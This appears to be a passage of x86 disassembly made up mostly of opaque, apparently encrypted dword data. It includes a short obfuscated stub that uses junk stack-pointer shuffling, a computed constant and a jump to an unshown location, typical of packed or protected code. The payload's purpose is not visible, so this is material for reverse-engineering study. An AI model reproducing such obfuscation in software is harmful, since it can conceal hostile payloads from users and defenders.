		dd 0C514940Dh, 0A6FC305Ch, 4C05C917h, 0BC746DFAh, 31D5B50Fh
		dd 0A3184h, 18B50000h, 0D040C2DFh, 3496627Ch, 8D4A64Ah
		dd 53E4A84Ch, 39CFD529h, 3BB9E9E5h, 0A34AEEEBh,	7399CD61h
		dd 4CD97301h, 8833A23Ah, 23AE8A2Bh, 94195BF1h, 0D5A74A2Eh
		dd 7719B43h, 6DE9F72Bh,	5D79B1CBh, 0A863C3B9h, 0EE03C564h
		dd 0A7B5E78Eh, 0AB4D09D5h, 0C4DCDCD5h, 6E34305Ch, 8F864ED8h
		dd 0D765173Bh, 61BD750Fh, 0F724C549h, 8430D9FDh, 6079h
		dd 4FE16D00h, 0F187F11Bh, 0A74A8B39h, 0AB4D09D5h, 9A2850E7h
		dd 44E50F4Ah, 660F6D80h, 895527CAh, 8F57D5CDh, 498A33DFh
		dd 8430DA67h, 8BEE00CCh, 0CB6BC162h, 0EB47D5B0h, 42B6h
		dd 0ED780C00h, 0FBBA64FFh, 17836F66h, 0D0AA4C02h, 1CE0760Ch
		dd 0BBEB9FB0h, 49DFE539h, 650408F5h, 47EE8EA3h,	0D4A64AC3h
		dd 42D67E08h, 12DEE438h, 5CC55873h, 3CDD3730h, 30E0259Fh
		dd 14184h, 4A610000h, 4E0ADAA4h, 1D72D2ACh, 809652FBh
		dd 0B1E06CFEh, 75D1D333h, 3A4894E0h, 0BDB8F3FEh, 5E06902Ah
		dd 6B79C547h, 0AD43FE8Fh, 0B1F337B5h, 0E799BF27h, 71AD851Fh
		dd 33C5B745h, 0ADA8E899h, 3A682873h, 0D973F3FEh, 5FA7257Dh
		dd 0AE545445h, 1D742873h, 45ADF79Fh, 2FB9BB51h,	0DE23C996h
		dd 71B961D9h, 0B42443Dh, 0BDD72873h, 3042E81Ch,	7FF913BDh
		dd 0A9CB61EDh, 56564B55h, 0BE28730Bh, 469A56E4h, 4E96E00Ah
		dd 0C96DE9FDh, 8363FB4h, 0A036032Ch, 43852448h,	9D26CFA9h
		dd 8C1AB723h, 12243h, 0DC786700h, 0E0E24238h, 4DDA5508h
		dd 99C7C6BBh, 554F37B5h, 4D2FCD89h, 94E674A0h, 88EE0C48h
		dd 73999919h, 0AD297B28h, 972DF18Bh, 4DEF7701h,	19D1D333h
		dd 6F0E76C5h, 3CD397A5h, 0D8A183Bh, 3CD218C0h, 0A14CE2E0h
		dd 9C85A845h, 4A51388Ah, 8AE3DDEEh, 46038C1Ah, 0A7000000h
		dd 0E9EAED78h, 4539FBAFh, 0A83F30EDh, 0C443631Eh, 0D7CDB05Ch
		dd 0C416960Fh, 0ADF9B05Ch, 90367F10h, 31605EAAh, 0B05C4171h
		dd 877301A3h, 768FB25Bh, 0A7FF67F1h, 0A6DBCD25h, 305C4106h
		dd 0A419940Eh, 83h, 30A0B3FEh, 47DEA579h, 5DF35B60h, 86FB8D23h
		dd 37B4DA4Bh, 59233591h, 4F33FF85h, 2FCD8955h, 0AC46A04Dh
		dd 72D9B5F5h, 0ED455F28h, 5C5523C9h, 2872DA5Ch,	0CE58EEB4h
		dd 0A088F206h, 0D938950Ch, 18322872h, 26CA865Eh, 71978854h
		dd 59732AC8h, 94E674B0h, 0CBB55A02h, 0B8026E7Bh, 0BC7F5217h
		dd 0A4FFC22Eh, 158C1E89h, 3062D702h, 0A612F2B0h, 0E51AEA94h
		dd 0E4773AE3h, 55A8D973h, 5D287327h, 7814AE47h,	20A315EDh
		dd 0FF3B48FBh, 16A03722h, 20173D7Fh, 69C1E971h,	0D779E57Fh
		dd 5C56DFA2h, 26B4A9DAh, 0D5E83BCAh, 0D4CE384Bh, 0CCAE4C08h
		dd 37D923Ah, 4449A123h,	0FBB640DAh, 286CD4BBh, 5A5A4F55h
		dd 0BA286CD5h, 0B3413BDEh, 0BFB95347h, 0D2CF5967h, 286CD4D2h
		dd 0F9886042h, 82AD2382h, 40B657F9h, 8D1AB8B5h,	0A0B51371h
		dd 0E47A08D4h, 0F082A80Ch, 0F654E17Dh, 0E45B87EBh, 1F5DF155h
		dd 4175BDC7h, 0D4D4CDABh, 3CADAC86h, 400CD066h,	1D72D250h
		dd 849652FBh, 33D97BFAh, 874C4C45h, 0DEC4ADACh,	62EAF448h
		dd 4B44ACCEh, 3, 4AF6549Bh, 430FD7A1h, 5B77CFA9h, 5C78C4B4h
		dd 537FC745h, 6A66BEBEh, 6D69B5C7h, 636FB735h, 6753B3CDh
		dd 5E55A9D3h, 81E18951h, 4C1h, 4E98300h, 5C240C87h
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ebx
		push	4CA54BE0h
		pop	ebx
		shl	ebx, 5
		shr	ebx, 2
		sub	ebx, 1
		xor	ebx, 22C5F194h
		mov	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	ecx
		mov	ecx, 8
		add	ecx, ebp
		push	ebx
		mov	ebx, eax
		mov	[ecx], ebx
		pop	ebx
		pop	ecx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58B97E
; ---------------------------------------------------------------------------
		dw 0F56h
		dd 193EE9A2h, 1D8476F1h, 0B3FAB869h, 0C50307EFh, 87E4E0FFh
		dd 35502A44h, 2E073840h, 1EF05CF3h, 474E6A7Bh, 87E40EAAh
		dd 355001E7h, 2E074649h, 1EF0086Eh, 474E350Ch, 87E412BDh
		dd 35505F40h, 2E077DB4h, 1EF010CFh, 474E008Fh, 87E43066h
		dd 3550559Bh, 2E077CE5h, 1EF02EC2h, 10E81F88h, 5000000h
		dd 4499D95Dh, 0AFEF5FE7h, 8D77AFA6h, 0FE6CE55h,	8158D3B7h
		dd 7D820EE2h, 0F3C0811Dh, 0F000063h, 0B84h, 5890F00h, 66000000h
		dd 0AA7ECF81h, 18CD68h,	0E9806000h, 0AE8E8h, 1F780000h
		dd 2B4B041Eh, 6883D037h, 0F95B615Eh, 8D0F308Bh,	0
		dd 670C681h, 0BA6627F0h, 0C6811A18h, 7E68CD44h,	18E0Fh
		dd 81F90000h, 0AA49CCEEh, 0CAB70F57h, 0E8833089h, 0E2816602h
		dd 48481449h, 0C2816651h, 4B598025h, 26850Fh, 60600000h
		dd 53615F52h, 8E9h, 14547A00h, 2B8F3E67h, 0E9615F9Bh, 1Ah
		dd 0C3D20A6Ch, 0C4F749CBh, 8AD4AE67h, 0AB51BA66h, 0FFFF8FE9h
		dd 1EB341FFh, 10533FF0h, 0A35DB164h, 54F6B132h,	0FC57B132h
		dd 9A8073BEh, 6B451306h, 5287D93Bh, 642CE7E2h, 56BA493Ch
		dd 565C3F3Dh, 0E5BB132h, 4355E91Dh, 0BFABB132h,	56D5B122h
		dd 35EEC743h, 6268C002h, 5C73740Fh, 0CEA6F5Fh, 4247B132h
		dd 2057B132h, 0B24EE308h, 0ACBF6253h, 3327FDD6h, 0F26850D6h
		dd 59FD63F4h, 565DA8B6h, 56BA5832h, 89E7B132h, 0DE16663Eh
		dd 33AE81BFh, 9F3CD2B0h, 0C5A098D7h, 56BA5D54h,	565D48CAh
		dd 56A05852h, 9680B132h, 769B9D5Fh, 6E0802BCh, 1BD8EF3Eh
		dd 5675B7DBh, 3095B732h, 37C893F2h, 5652B132h, 56505832h
		dd 0BE2DB132h, 0A1B3DDC1h, 8E9C7E9h, 5675BD32h,	5030BE32h
		dd 595DB132h, 56AEB1BCh, 0AA57B132h, 56F46561h,	56D5A3B6h
		dd 56E75832h, 0DA88B132h, 5E42470Dh, 7D75991Dh,	59030900h
		dd 5657B7BAh, 562FBE32h, 37D5B132h, 0D78AB132h,	1778E1ECh
		dd 56BAD070h, 0AA5DB1CAh, 5657B132h, 0D4584D32h, 56ABB122h
		dd 56D5BADBh, 4D7CFC32h, 0CB8A824Ch, 0FD722B81h, 0D452B132h
		dd 56AEB138h, 8FDCD752h, 0BDAE098Ah, 0D0DAD001h, 56EAB133h
		dd 5975B1C7h, 56BAA6BBh, 564F5832h, 0D0D1B132h,	7A28E291h
		dd 0BAB0FDD8h, 41921FCAh, 7A0A95EAh, 5675B8DBh,	3F3C5432h
		dd 0E2CB2DDAh, 56AE997Dh, 9DE8BE52h, 0BFCA7380h, 56D5B139h
		dd 0FA569B90h, 1836D772h, 56D4D787h, 565D4932h,	59AEB1CAh
		dd 5657B0B3h, 56AB4932h, 56DD393Dh, 0D7E5B132h,	5675B130h
		dd 56BAD052h, 56495852h, 0D711B132h, 3D65153Bh,	1ECCFFB7h
		dd 5056376Dh, 0FFB35E8Bh, 0A4CFFA50h, 37F12F08h, 565A323Dh
		dd 36CEB132h, 87DCD753h, 0BFABB153h, 56D5B126h,	0CB272542h
		dd 0E2086BBBh, 3F0DB2DEh, 0F0C0E95Dh, 0D150181Fh, 53BEB132h
		dd 10ABB132h, 84B6E5h, 0EF8AB132h, 48C5564Eh, 0AABAB153h
		dd 565DA3DBh, 0AE84F732h, 7D19B07Eh, 3F49CFDAh,	0BAC94E9Eh
		dd 5655FB39h, 56615832h, 64B4B132h, 0EEE5462Fh,	0E8C83421h
		dd 0EEE271FDh, 0D54E3A54h, 56D5DB9Dh, 56E23D3Dh, 0D17AB132h
		dd 56BAB130h, 565DD052h, 36AEB1C7h, 565B363Dh, 5142B132h
		dd 0C5D5B132h, 9464F017h, 0BF22FD97h, 56BAB134h, 0ED3FC839h
		dd 37F1C666h, 5657B130h, 56ABB124h, 56D5A0DBh, 0EAFCB332h
		dd 47864AAAh, 3CA4BC13h, 126BB35h, 56AE4266h, 5656303Dh
		dd 8E52B132h, 50D5B235h, 52EAB032h, 44759932h, 56BBB532h
		dd 56463E3Dh, 30CEB132h, 47BE69B9h, 0E8ABB132h,	222E8A7h
		dd 5DB95EE1h, 7165C4B1h, 65D72037h, 0BF5DB153h,	56AEB137h
		dd 2E2357Ch, 36ABB12Bh,	0E1DA72B9h, 56EAD0CAh, 567CB364h
		dd 0AADAB132h, 565D313Dh, 56CFB132h, 56574932h,	56ABB364h
		dd 47EED532h, 0DA632Bh,	0CEE6B64Bh, 563A042Ah, 0EF3BD132h
		dd 0D3A1828Eh, 5657B130h, 59CAFC85h, 56D5B0BEh,	367A4432h
		dd 567058AEh, 0A803B132h, 30281D6Dh, 4B3660B3h,	5657B7DBh
		dd 12FC6732h, 0CB26D31Fh, 68B49B9h, 5675A1DBh, 0D0DB7932h
		dd 44C0C575h, 83751D1h,	3C02BD0Dh, 0D0722169h, 56D9581Bh
		dd 0CB9EB132h, 0CF955220h, 3B68E6Ch, 37C0EA58h,	56A25862h
		dd 5BF3B132h, 5FBB62F0h, 93E99E3Ch, 0D879FA28h,	56735837h
		dd 0F1DCB132h, 15AF4C66h, 0EF4D0AFh, 0FBE4D162h, 3769063Dh
		dd 56DB58A4h, 39A4B132h, 0DD2FB44Eh, 319C305Ah,	55EF0C26h
		dd 4247803Dh, 0FA57B132h, 0CED0BB47h, 128267C3h, 0E619D31Fh
		dd 8A3A1F1Bh, 0CD10BD7h, 55CDE96Ah, 95008B2h, 2D5DC49Eh
		dd 17D40AAh, 0A5B79C76h, 1263E968h, 429CB516h, 8ABAB132h
		dd 9E360BD7h, 22E93753h, 0B6B4A3AFh, 5A94EFABh,	0E8EDB67h
		dd 67E5E362h, 677AE968h, 67B5E362h, 0E07E968h, 4647803Dh
		dd 0AE57B132h, 0F29C87E3h, 4606733Fh, 6AC5BF3Bh, 0C3EABF7h
		dd 56BAE96Ah, 16EC7AB3h, 56CFD0DBh, 5BBE4932h, 6AABB132h
		dd 25BAFBE9h, 83758FC5h, 0C98A941Bh, 0AFDAB132h, 11C70954h
		dd 5720BE53h, 0AE57B132h, 0D3A4B132h, 56D5B133h, 0BFEAB1CBh
		dd 5675B139h, 4BF000FEh, 0F197346Dh, 56E055DEh,	0E958D132h
		dd 56ABD0C8h, 36D5B1CEh, 56EABADBh, 0AA3C3F32h,	6106F26Eh
		dd 83E25219h, 56B9363Dh, 44BEB132h, 0CCABB132h,	80D68C20h
		dd 0C2C6809Bh, 17E269Bh, 33D8BAD6h, 565DD031h, 56AEBCDBh
		dd 72FB632h, 2672B373h,	5CAD0B4Ch, 56EABE44h, 0E97AD1CBh
		dd 0D3B5E1C0h, 565DB132h, 56AED069h, 56443F3Dh,	5842B132h
		dd 0C0D5B132h, 61F0B84Dh, 28A2C61Bh, 0C2A41EE5h, 0BF5DB1B1h
		dd 56AEB138h, 4AB6637h,	27335335h, 56D596C7h, 56E43E3Dh
		dd 5F9CB132h, 7BAB132h,	8142B6C7h, 8FD15764h, 0D858B132h
		dd 56ABB13Fh, 56D35852h, 0BED9B132h, 0DA817584h, 59BAB153h
		dd 565DB8B0h, 0D7C8D132h, 0DDF9A6EAh, 56ABD0CAh, 56D5B7DBh
		dd 35A47832h, 59640230h, 56BAA1BAh, 56565832h, 8228B132h
		dd 0A5547950h, 1998FFABh, 36D5B183h, 11C0E3Dh, 5675A0DBh
		dd 0AD202D32h, 2D75A947h, 7736030Fh, 52888964h,	37F4D788h
		dd 0BF20B132h, 56EAB13Ch, 6DA86D1Eh, 0AEAB893Ah, 0DFC842Fh
		dd 56AEC27Ah, 5646373Dh, 5A42B132h, 0C8D5B132h,	9EF05130h
		dd 71662319h, 56084C5Ch, 565D4D32h, 555C0952h, 0ED31F9ACh
		dd 56CA4807h, 0DD2DD132h, 56EAD0EDh, 5675A0DBh,	0E7D8AE32h
		dd 8A653C32h, 0AB31275Bh, 0B4458Bh, 0D9A43848h,	56D5B13Ah
		dd 56E8313Dh, 3715B132h, 5642B132h, 51B5D132h, 39AEB132h
		dd 0D5961029h, 5A420BD9h, 0FED5B132h, 26F7E480h, 12C1A4C0h
		dd 9573EA2h, 0D07E060h,	0AEAEB153h, 56AEB132h, 59FCD132h
		dd 56D5B1B7h, 0DAE5E832h, 5675B137h, 0AD593054h, 565DD0BAh
		dd 9819BE52h, 28F97BB3h, 56CA8615h, 0DDB3D132h,	0A62B30EBh
		dd 3774B280h, 5642B132h, 565D4D32h, 0DD7F3052h,	59042065h
		dd 56ABB7BDh, 5652BE32h, 37EAB132h, 0DF7AB132h,	56BAB13Ah
		dd 565F3B3Dh, 37CEB132h, 0DC37B132h, 56BF59D9h,	0A170B132h
		dd 0EAAB72E2h, 0FE2C0DBFh, 7A23C046h, 0A825FF8Eh, 5A47FBF2h
		dd 3557B132h, 0C16387B7h, 39735E12h, 0E2C6DADh,	0BF75B153h
		dd 56BAB121h, 0CE8D17A4h, 97AF589Dh, 58EFBCD1h,	2D762DF7h
		dd 59004DA2h, 56EAB9B5h, 54F7BE32h, 36BAB132h, 365DB153h
		dd 5B476CB8h, 7157B132h, 8B235C7Fh, 88B458FDh, 65419831h
		dd 3675B153h, 56BE303Dh, 0E93BB132h, 0ED143C47h, 374DA487h
		dd 36ABB1C7h, 8B216AB3h, 0DD8CECEBh, 5675D0CCh,	56BE333Dh
		dd 0E03DB132h, 56AED073h, 5657B8DBh, 7ED65732h,	0F54A6D14h
		dd 56EAE548h, 3675B1CEh, 56BAB8DBh, 9516ED32h, 0E45E6AA0h
		dd 5636003Fh, 8C2AD132h, 58E2FBC9h, 56EAB7DBh, 0AC0CD32h
		dd 375D59F8h, 565DA0DBh, 744F1232h, 12BBB65Eh, 0AD4DBBBAh
		dd 0F7805F03h, 56EAF549h, 37804D52h, 0BFDAB132h, 565DB139h
		dd 0CB94F280h, 29799072h, 0EE9A8F63h, 5CA7A88Eh, 0BFEAB153h
		dd 5675B139h, 2CBEAE8Ch, 38D0B73Dh, 56FD36D9h, 56574932h
		dd 56ABBFDBh
		dd 0CBEA8832h, 29660C41h, 0ACA1AF5Dh, 566AB31Ch, 56A14932h
		dd 512EBE32h, 5957B132h, 56ABB0B9h, 56D54932h, 975DBE52h
		dd 5675BDDBh, 0D9C69232h, 2084012Bh, 21E6BEEEh,	5657D01Eh
		dd 4242E152h, 36D5B132h, 0C67C515Ch, 847E45B3h,	214D9328h
		dd 0DEE6B757h, 0ED03E79h, 56533E3Dh, 0EDCDB132h, 56B44AD1h
		dd 5B03D132h, 7B75B132h, 0B6DF7019h, 9BF48B55h,	31548ED2h
		dd 0A1D6D762h, 37F4EDCBh, 0D6DAB132h, 56EAB12Ch, 566D333Dh
		dd 4553B132h, 0F85DB132h, 661FC3CFh, 6F0141CDh,	0A7916E5Ch
		dd 0E291A963h, 0BE8AE6A7h, 5675B13Eh, 24A3C0C6h, 4334EC67h
		dd 7470AF2Bh, 5657383Dh, 0ECF0B132h, 3451EBDEh,	59EAB153h
		dd 5675B0BDh, 56BA4832h, 565DA5DBh, 0DC910132h,	0EECDF2E0h
		dd 32E237F7h, 7A3B529h,	5871D9E5h, 3675B1F4h, 0B0226EB3h
		dd 0E1528C44h, 56AED0F1h, 5657B4DBh, 0E16A7C32h, 56D55A55h
		dd 59EAB1CAh, 5675B6B2h, 573DBE32h, 0AA5DB132h,	5656B132h
		dd 5CD3BE32h, 36ABB132h, 0EE053A54h, 256123C9h,	3675B153h
		dd 1F2A0F54h, 373C75B2h, 0AFAEB1CAh, 0D458B132h, 56ABB135h
		dd 59B4D152h, 568B6B8Dh, 56665832h, 3151B132h, 57A0C62Dh
		dd 45C99EBFh, 203AA398h, 0C00FDC3Ah, 0A3D5B1DEh, 0D0E5B132h
		dd 5675B13Eh, 56BC3C3Dh, 0D852B132h, 56AEB132h,	5CBEB132h
		dd 7AABB132h, 0F29D275Ah, 9FCB44F1h, 3675B1FCh,	56BAB6DBh
		dd 2CEB9732h, 0E7AD97DBh, 5657A1DAh, 152E6F32h,	72229885h
		dd 2D846CD3h, 0A326B0F9h, 0C9670E03h, 3706BAD4h, 0D6CEB132h
		dd 0AEE005E5h, 1114D153h, 0BF98DE25h, 56EAB139h, 9F62BF28h
		dd 906EAB26h, 37DFC930h, 0D0A1B132h, 5657B138h,	56ABB4DBh
		dd 4428BF32h, 56EA9A64h, 5660353Dh, 0BFDAB132h,	565DB13Fh
		dd 8F6723CBh, 0C9AB631Fh, 3B8098B1h, 56B44807h,	56E05832h
		dd 0BE43B132h, 4E0428F1h, 8CBD7319h, 9C11BE52h,	5636CA85h
		dd 5F42D132h, 0F2D5B132h, 0FE100BDh, 0A35C746Fh, 37623A54h
		dd 0D452B132h, 56AEB113h, 56435852h, 0D195B132h, 0D6A9B77Eh
		dd 4DB90EC3h, 0E0A6FC37h, 392DDC3Fh, 0D5524574h, 56AEB132h
		dd 0AA57B153h, 5653B132h, 5751BE32h, 0AAEAB132h, 0BF15B132h
		dd 56BAB137h, 0D6A3898Dh, 1917D7D1h, 0D637D076h, 0D7CD1AF9h
		dd 378D83D3h, 0D7E5B132h, 5675B128h, 56B75852h,	90C0B132h
		dd 6C24A64Bh, 0A492ED4Ch, 59139E2Ah, 56D5B1BEh,	56EAD032h
		dd 5675BEDBh, 2E59E732h, 0DE7028Fh, 0C25A7D59h,	0AEC53FA3h
		dd 0DAA4B132h, 56D5B135h, 56EB363Dh, 3689B132h,	540F0F54h
		dd 563C6BB9h, 5729BE32h, 0A357B132h, 3653B132h,	3C40A54h
		dd 59EAB153h, 5675ACBCh, 4134BE32h, 0BF5DB132h,	56AEB120h
		dd 9DECA692h, 6420B4F3h, 6125B76Ah, 0D6ED914Dh,	30157260h
		dd 372CD48Ah, 5DB4B132h, 19AEB132h, 0A4317008h,	0CF560E49h
		dd 56D5C952h, 56E43E3Dh, 5F9CB132h, 78BAB132h, 90BA24B6h
		dd 256D4B51h, 5ABEB132h, 67ABB132h, 0B49CED10h,	31FD9DC8h
		dd 56A465B9h, 4A3DBE32h, 365DB132h, 56AEA5DBh, 581E1132h
		dd 0E0DA8A36h, 82977C11h, 8590717Ch, 33CF887h, 59DB49D0h
		dd 565DBBB4h, 56AB5832h, 3A12B132h, 56912382h, 0A386D132h
		dd 37303A6Dh, 519CB132h, 16BAB132h, 0C967841Eh,	56AEFB03h
		dd 56413D3Dh, 4742B132h, 9AD5B132h, 0FBB1145h, 53E52B59h
		dd 0E76C0AE6h, 0C35BD69Eh, 0BECEB132h, 5657B13Fh, 9476128h
		dd 1D666DA8h, 0F937193Ah, 56725916h, 0B3EAB132h, 828F44C8h
		dd 59F4E96Ch, 5657B2B2h, 6C463132h, 6C63D153h, 56EABFDBh
		dd 3B75E032h, 6323A95Eh, 0B42B5637h, 370D58C3h,	0D958B132h
		dd 56ABB134h, 6B4D152h,	56EAD06Bh, 5675B7DBh, 99DA5732h
		dd 56E767E0h, 5729BE32h, 0AA57B132h, 0D5A4B132h, 56D5B135h
		dd 56EB353Dh, 568DB132h, 56BF5832h, 0D7E3B132h,	56DA8E28h
		dd 0AFDCD132h, 59ABB153h, 56D5BEB0h, 56E05832h,	0F897B132h
		dd 469A63DBh, 0C11B914Ah, 0BF57B132h, 5657B13Ah, 0F331BF15h
		dd 2B4111A6h, 0DEE5B132h, 5675B13Eh, 56BC3F3Dh,	0DB52B132h
		dd 56AEB132h, 0D758B132h, 56ABB133h, 56C758C7h,	0E46EB132h
		dd 0D23730Bh, 90022435h, 0A1FFB49Ch, 0CFF403C5h, 3037B132h
		dd 0D7A46BB9h, 56D5B132h, 8F61D153h, 3675B153h,	9DBD164h
		dd 37AC0E3Dh, 36AEB1CBh, 9820263h, 56ABBADBh, 134BA132h
		dd 6C1D3E08h, 0E5E1BF6Bh, 0BFBAB153h, 565DB13Ah, 4A7E5BFAh
		dd 0C1B66FFDh, 5D42B132h, 0D0D5B132h, 0B0C4A7C6h, 6E1C0735h
		dd 56BA094Ah, 0F830F52h, 0FA17DC71h, 3740556Fh,	0D1A4B132h
		dd 56D5B13Ah, 56E8353Dh, 3715B132h, 4653B132h, 0B45DB132h
		dd 0DB6E06A6h, 2313064Ah, 19FCE99h, 567C0775h, 56EA4432h
		dd 50F7BE52h, 59BAB132h, 565DB1BAh, 552ABE32h, 5957B132h
		dd 56CA6685h, 56D25832h, 8819B132h, 39DB214Fh, 36BAB165h
		dd 0EC3B6FB8h, 56CFB172h, 56585832h, 0A64B132h,	53031696h
		dd 0DC26B0E8h, 5F093473h, 56BA485Bh, 565DA5DBh,	0ED799B32h
		dd 65EF69B9h, 0B85F2F43h, 5F4788D0h, 0A2C2DAA5h, 0A375B132h
		dd 5853B132h, 7D5DB132h, 0C2B2F6AFh, 20D6B3EBh,	6E22CAA6h
		dd 0AAD5B12Ah, 0DBE5B132h, 5675B127h, 56BAA1DBh, 0C6B93F32h
		dd 99E9A7DDh, 0ECFD5A61h, 0C11424FEh, 56D544E3h, 0BFEAB1C7h
		dd 5675B137h, 0EED89590h, 0BF5DB14Fh, 56AEB139h, 7C177166h
		dd 462292E0h, 56659259h, 5D02D132h, 4D75B132h, 997AD85Ch
		dd 2971B380h, 0DFA14AFDh, 5657B132h, 56A6596Dh,	0D9DDB132h
		dd 27A67967h, 0D83C91D3h, 4E2048h, 563CE86Ch, 56A05832h
		dd 3DB7B132h, 7276B661h, 1A898665h, 5EB453F7h, 0D07AB132h
		dd 56BAB135h, 565C3C3Dh, 5657B132h, 56A24D32h, 56AB4832h
		dd 56D5BADBh, 30F66832h, 0D0FD2155h, 0A95C67E4h, 303DB132h
		dd 0D3A170B9h, 5657B131h, 37510E3Dh, 0DCDAB132h, 56EAB125h
		dd 0BF2FE352h, 56BAB13Ch, 0D808DB8h, 0DFE251B6h, 0D122C9D9h
		dd 56CAFC7Fh, 5758BE32h, 0A3EAB132h, 568DB132h,	0B53AD132h
		dd 0ACD6E1B7h, 56AED06Dh, 5657BFDBh, 8EA70332h,	2D0481B1h
		dd 62CF6D26h, 367F40B7h, 56BA393Dh, 48E6B132h, 37B2881Eh
		dd 0D258B132h, 56ABB13Ch, 56D5B8DBh, 86208532h,	2546838Eh
		dd 56BABDC9h, 595DB1CEh, 56AEA6B4h, 56455832h, 2C22B132h
		dd 21B2A2E0h, 9D7A3167h, 79405AF6h, 42052DADh, 565DBBDBh
		dd 0B5BF7432h, 0F98F19EFh, 5677599Bh, 455FBE32h, 0BFEAB132h
		dd 5675B13Ch, 813AC360h, 0F7BBC1E3h, 0A8B08894h, 56578F1Ch
		dd 56ABB9DBh, 0FF33E32h, 60485BD0h, 3675B1FDh, 0FC4A43B3h
		dd 53B58196h, 3FAEB132h, 70184360h, 56CAE9CEh, 0D84D132h
		dd 568B9882h, 3022D132h, 1D0A68B3h, 81DCD769h, 56CFA735h
		dd 56475832h, 0B9C3B132h, 55EF30ECh, 0A700FAD7h, 0E00DE753h
		dd 56BAF166h, 595DB1C7h, 56AEBDB0h, 50D7BE32h, 59ABB132h
		dd 56D5B1B8h, 36EAB132h, 5675A1DBh, 727ED732h, 4ED224EEh
		dd 0E7F04C10h, 0BB825A16h, 56A158D2h, 6DFBB132h, 2A757ED1h
		dd 6F0D2E59h, 0AFBAB153h, 0D452B132h, 56AEB133h, 0EF31D1CEh
		dd 0D9A47490h, 56D5B131h, 3728063Dh, 429CB132h,	0FEBAB132h
		dd 63160F78h, 264E09BDh, 262A4F6Dh, 62D74BA0h, 5632C7A0h
		dd 56EA4832h, 5975B1CEh, 56BAA7BBh, 59B4D132h, 73AEB132h
		dd 4A5D4FD0h, 0EE4D783Bh
		dd 7BCCB333h, 568B1720h, 56754D32h, 56BABFDBh, 0C1070932h
		dd 0D0D11CB0h, 7A28E291h, 56B0FDD8h, 56C15832h,	473B132h
		dd 0FB2B70F0h, 0ED4D7731h, 62FB03D9h, 59B915BEh, 56575A6Fh
		dd 56AC3A3Dh, 0EFB5B132h, 6332BA4Eh, 0AE75B153h, 0DFB5B132h
		dd 565DB121h, 44463152h, 5657B9DAh, 8558CC32h, 9C30D12Eh
		dd 0AA8BEBB5h, 5689B132h, 56B05832h, 10CDB132h,	3078E735h
		dd 1776CCBBh, 59CBB132h, 56D5B3BBh, 7130432h, 0DA064B2h
		dd 0AFBAB153h, 565C353Dh, 5652B132h, 56435832h,	8ED4B132h
		dd 879FECCEh, 8B9D4EBFh, 1675FF26h, 0B18AF858h,	565DFB09h
		dd 56AEB7DBh, 0AF2C9532h, 565DDD91h, 5A51BE32h,	59EAB132h
		dd 5675B7B6h, 5632BE32h, 565DB132h, 56BD5832h, 0B0DAB132h
		dd 41960F56h, 0B667641Ch, 2EA989D8h, 7D86042Fh,	59BAB1EDh
		dd 565DB0B9h, 56AE4432h, 565F313Dh, 0D7A4B132h,	56D5B130h
		dd 56EAD052h, 78920F52h, 4452A3ECh, 0B35DB132h,	79561217h
		dd 2E6745AAh, 86AEB5F2h, 5BEC3653h, 8061D714h, 5675D06Bh
		dd 0AFBAB1CEh, 595DB1C7h, 56AEB7B6h, 0D6AED132h, 56CA74E9h
		dd 5B5ABE32h, 0BFEAB132h, 5675B13Ah, 8F393EB4h,	1BBA2365h
		dd 5C47B132h, 9957B132h, 51692173h, 0B23CB920h,	4B60BE47h
		dd 5975B132h, 56BAA6B3h, 564F5832h, 87D2B132h, 2BFF999Dh
		dd 0A56A4078h, 123B0FC5h, 4EF47A00h, 0DD7AB132h, 56BAB135h
		dd 0AFEABE52h, 0BFCF41B9h, 5657B13Fh, 8F551231h, 9F631676h
		dd 0ACF85B7h, 0AA75B1A8h, 59DAB132h, 565DA9B6h,	56BD5832h
		dd 5AD1B132h, 55C5A47Eh, 66C200Bh, 0F611F6F0h, 41DA987h
		dd 37753A09h, 50B4B132h, 89AEB132h, 40D340A5h, 0BFABB18Ch
		dd 56D5B139h, 1AF900D5h, 34C6D4E0h, 569C7D4Fh, 0EC0CD132h
		dd 295894A5h, 89DCD76Bh, 36ABB153h, 0F27E5088h,	0A55DBE62h
		dd 4FFEBE53h, 0BFBAB132h, 565DB126h, 0F01FC120h, 0CC0D0CBBh
		dd 0CBD960FBh, 53C05CBAh, 0E7B9ECB5h, 515B132h,	0F7A063Dh
		dd 378C063Dh, 4747B132h, 0B457B132h, 62ED1EBDh,	56BF005Eh
		dd 0D5A4987Eh, 6D0AF3Ch, 4653B132h, 6D5DB132h, 1B935DFCh
		dd 80621149h, 8C170989h, 0BF498E80h, 56EAB122h,	0A6E7073Ch
		dd 53044D51h, 18F1B300h, 0C3DF895Ah, 0D858B132h, 56ABB121h
		dd 56D5BFDBh, 5DA8CB32h, 9EAB7562h, 0A995A4BDh,	56DAB78Bh
		dd 56A75832h, 77FAB132h, 0D2EED963h, 56401528h,	56E65832h
		dd 0A2B7B132h, 37F60C0h, 2EB12AE4h, 56AE034Eh, 5657B4DBh
		dd 0B302F332h, 56D55BFBh, 56EABADBh, 21B3D32h, 4A5477CAh
		dd 0C487ADBFh, 59AEB1CAh, 5657BDBBh, 5029BE32h,	59D5B132h
		dd 56EAB1BFh, 5AF4BE32h, 59BAB132h, 565DB7BCh, 5625BE32h
		dd 5657B132h, 0D7CDD132h, 373C4DD2h, 36EAB1CBh,	77C36FB3h
		dd 0DDDCC8B8h, 565DD0EDh, 0AAAEB1C7h, 56AEB132h, 56AE5832h
		dd 0EB38B132h, 56A81D64h, 0DB7AD132h, 56BAB12Bh, 565DA5DBh
		dd 87217532h, 0E04C3FEAh, 0FFBC717h, 92405A56h,	0A8CB23Fh
		dd 0DD7AD11Fh, 56BAB132h, 565DBADBh, 1A526832h,	0D482CFD7h
		dd 0EBAF0941h, 5D3CD053h, 0B4EAB132h, 0BCF08E43h, 745C12D9h
		dd 565D6879h, 56AEB4DBh, 9A455232h, 56AB315Fh, 56D95852h
